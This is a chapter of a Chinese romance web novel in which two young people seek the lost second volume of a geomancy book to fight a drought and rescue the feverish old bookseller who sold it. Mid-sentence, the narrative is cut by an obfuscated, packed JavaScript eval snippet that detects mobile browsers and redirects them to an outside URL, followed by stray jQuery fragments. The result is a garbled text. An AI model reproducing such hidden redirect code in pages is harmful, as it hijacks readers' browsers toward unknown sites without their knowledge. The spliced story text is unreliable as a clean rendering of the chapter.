70. 古籍中寻到的“生路”

作品:《渣了忠犬后双双重生了

    崔母觉得,自从来了京城,每次这两人见面都有些说不出的尴尬,不比在临河村时那份亲密无间。她自觉要好好培养儿子与“未来儿媳”之间的感情,于是目光在二人之间流转了一番后,便找了个理由出去了。


    见崔母火急火燎地走了,文欢也欲寻个理由回家去,还未开口便听得对面的男子轻咳了一声。


    “我刚好有事想要找你。”


    她略略垂眸,艳丽的眉眼莫名有些清冷。


    于是,她又坐了回去。


    二人对立而坐,周边的气氛乍然见冷下来,好似又恢复到刚到京城的那段时日。


    崔九堂心中本有一大堆话想要与她说,可是现如今形势危急,晚一日,便不知要有多少百姓会因为这场大旱失去生命。


    于是他的目光依依不舍的在她的眉眼间流连了一瞬,这才正色道。


    “之前你丢了一本《堪舆杂论》在马车上,但是我只寻到了上卷,这本书的下卷在你那里吗?”


    文欢本以为他会向自己解释,为何这段时日一封信也没有给自己写过,却没有想到他竟没头没尾地来了这么一句话。


    她挑眉,淡淡地瞥了他一眼,没好气的说道。


    “那本书本就寻不到下卷。”


    崔九堂有些着急,连忙追问,“如何会寻不到下卷?你是在哪里找到这本书的?若是我想寻,你可知哪里可以寻到。”


    文欢见他问得着急,神情也郑重起来,于是耐心解释道。


    “当年,我本来就是京城一位摆摊的老人家手中收的,当时只觉得这本书中的内容写的野趣横生,可毕竟过于光怪陆离,遂而只当作杂记一般看着解闷,你若是当真想要寻那本书,我便去之前遇到那位老人家的地方再寻找一番,看看能否找到下半卷。”


    崔九堂听得还有可能寻到那本书的下卷,这才微微地松了一口气,于是也向文欢解释。


    “现如今天下大旱,我寻了许多古籍,想看是否有些解决的办法,却无意中在你留下的那本书中看到了一则故事,说是很多年前在曾经大庆的这个地方,也发生过一场旱灾,当时的人们便是利用堪舆术挖出了一种水井,引出了深层的地下水,这才缓解了旱灾。”


    文欢眸光略微动了动,面色有些古怪,有些迟疑地开口道,“可那本书,毕竟只是一本杂谈游记,那里的内容说不定只是作者编出来的呢?”


    崔九堂面色郑重,声音低沉道。


    “在入京之前,我曾经在一处驿站停留了几日,那驿站附近的河流以及水井皆干枯了,可是只有那驿站后院的水井,依旧可以打出水来。且那井水清冽甘甜,附近的百姓们现如今都靠着那口井过活。我对着那本书看了一下,那口井附近的山势地貌等皆与那本书中所描写的内容相似,可是至于怎么寻找这种地貌,以及如何挖井,却不在这上卷书之中。”


    文欢一动不动听得入神,听得这本书竟然如此重要之后,她的神色也变得极为慎重,有些担忧的抬头看着他。


    “这本书是我刚到京城不久的时候买下的,现如今过了那么久,也不知道那老人家还在不在。”


    这样想着,她便再也坐不住了,面色焦急地站起身来,在屋内反复的踱步。


    “不行,这么重要的事情耽误不得,我现在就出门去寻那个老人家。”


    于是二人便同乘一辆马车,前往了城南的一处青石巷子旁。


    待到了地方之后,文欢从马车上快步下来,朝着四周查看。


    这个巷子附近居住的人员极为混杂,曾经有许多小摊贩在此售卖商品,可是随着天气逐渐炎热,京城中用水也逐渐变得困难,那些售卖吃食或茶水的摊子已然渐渐消失,唯余那些售卖杂书或是各类手工制品的小摊子依旧□□。


    文欢在寥寥无几的摊子前徘徊了好几遍后,依然没有发现那位老人家的身影,于是她便找到了旁边一个卖手编箩筐的小兄弟,向他打听起那位老人家的行径来。


    “你说陈家老伯呀,他近日身子有些不适,已经有好几日未出来摆摊了,你若是想寻他,沿着巷子一直往里走,最尽头那户,门前悬挂一面明镜的便是他家了。”


    在她刚开始与这位小哥开口说话的时候,崔九堂便不声不响地靠了过来。


    待到这位小兄弟说完了话,文欢刚准备开口谢过他,却被崔九堂抢先了一步。


    “谢谢这位小兄弟,那我们即刻便去寻他吧。”


    崔九堂话头一转,拉起文欢的袖子便朝着巷子里走去。


    在崔九堂的余光中,隐隐看到那位小兄弟满脸艳羡之色,那目光一直追随着文欢,直至二人消失不见为止。


    来这种鱼龙混杂的地方竟然连帷帽都未戴,她一个弱女子,倘若真的遇到心怀不轨之人可如何是好?也怪自己,出门过于着急未来得及提醒她。


    文欢心中还有些别扭,待到无人的地方后她轻轻将衣袖从他的手中甩出,只微微蹙眉,与他保持了一定的距离,只顾朝前走着。


    几个月毫无音讯,今日见面也并未有想与自己解释的打算,但看在现如今局势动荡,情势危急的份上,暂时先不与他计较,先将面前的大事解决掉再说。


    可是这个人不知道又抽什么风,在别人面前摆出一副占有欲很强的样子,鬼知道他吃的哪门子飞醋。


    二人别别扭扭的走进了巷子的尽头,果真在右手旁看到了一户人家的院墙外悬挂着一面圆形的明镜,门的两旁还悬挂了两束艾草,和一些不知道是什么的植物,更为奇特的是,这户人家的大门竟然被漆成了黑色,与周围其他的人家格格不入。


    这里想必就是那个陈老伯的家了。


    崔九堂率先上前一步,轻轻叩动那摇摇欲坠的门环,有些生锈的铁环在晃动下发出了暗哑的声音,更显得诡异。


    半晌也未见有人应门,二人大着胆子轻轻推动那早已饱经风霜的木门,只不过轻轻一推,那门竟然直接开了,一个略微有些荒凉的小院出现在二人的眼前。


    院内,枯黄的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079503|162271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    杂草从每一块地砖的缝隙中钻出,可能阴着干旱,那些杂草都已经枯死,倒在无人清理的地砖上更显得小院荒凉诡异。


    房檐下,挂着两条由红线和铜钱编织而成的彩穗,崔九堂一眼便认出这应该是五帝钱,供辟邪使用,想必这陈老伯应当懂些什么。


    “陈老伯,请问您在家吗?”崔九堂提高了一些声音,朝着屋内喊道,可是连续喊了几声屋内都并无人应答。


    于是二人便朝着屋内走去。


    这座房子可能已经年久失修,显得有些摇摇欲坠,堂屋的那道木门已然能看得出岁月的痕迹,轻轻推动便发出吱压一声响。


    文欢从进门后便觉得有些害怕,于是也不顾二人之间的那些小九九,只是紧贴在在崔九堂的身后,死死地抓住他的衣袖,亦步亦趋地跟着着他。


    屋内倒是一副寻常人家的样子,只是有一股浓浓的药味。崔九堂朝屋内看去,竟发现东侧间的床榻上竟然躺着一名老人,那老人须发皆白,双眼紧闭,不知是死是活。


    二人搞不清状况,有些不敢上前,崔堂又喊了几声,见那老人依旧没有回应,于是大着胆子向前走了两步,手指轻轻地靠近那老人的鼻子处,发现他还有呼吸后,轻轻呼了一口气。


    还好,人还活着。


    可是当他不小心触碰到那老人的皮肤时,才发现他的身体滚烫的要命。他心中一紧,连忙用手试探老人的额头,才发现老人额头滚烫,应当是起了高烧。


    老人的牙关紧锁,脸色通红,仔细观察,还发现老人间歇性的战栗,二人忙将这位老人抬了出去,一路奔向最近的医馆。


    等到这位这位陈老伯转醒时,才发现自己已然躺在了医馆中,他有些搞不清楚状况,但是觉得自己浑身无力,手脚酸软。只记得自己好几日没有喝上水了,今日晨起便觉得头重脚轻,浑身发冷,只想着睡一觉便好了,可不知为何,醒来后便到了这里。


    可能是他不小心发出了一些动静,一旁的小药徒抬头看见他醒了,于是扯着嗓子朝外喊。


    “醒了,醒了!”


    崔九堂和文欢费了九牛二虎之力,才将老人运送到医馆,刚坐下喝了口水,休息了一会儿便听到屋内传来声音。


    据大夫所说,这位老伯是因为长时间缺水才引发的高烧,但好在就医及时,又给老人家补充了水分,只要好好休养。便能够恢复。


    这位陈老伯听说自己是因为缺水发了高烧昏迷过去,是这两位年轻人救了自己后,看向二人的眼神不但不充满感激,反而有些狐疑。


    “咳咳,你们是如何发现我在家昏倒的?”


    二人一五一十将情况告诉给了这位陈老伯,他听得得二人是前来买书的,面上的神色,这才恢复了一些。


    “我们之前在您这里买的那本《堪舆杂论》只有上半卷,没有下半卷,还请您老人家割爱,将下半卷卖于我们。”


    老人眼神微眯,意味深长地看了他们一眼。


    “下半卷,我还未写。”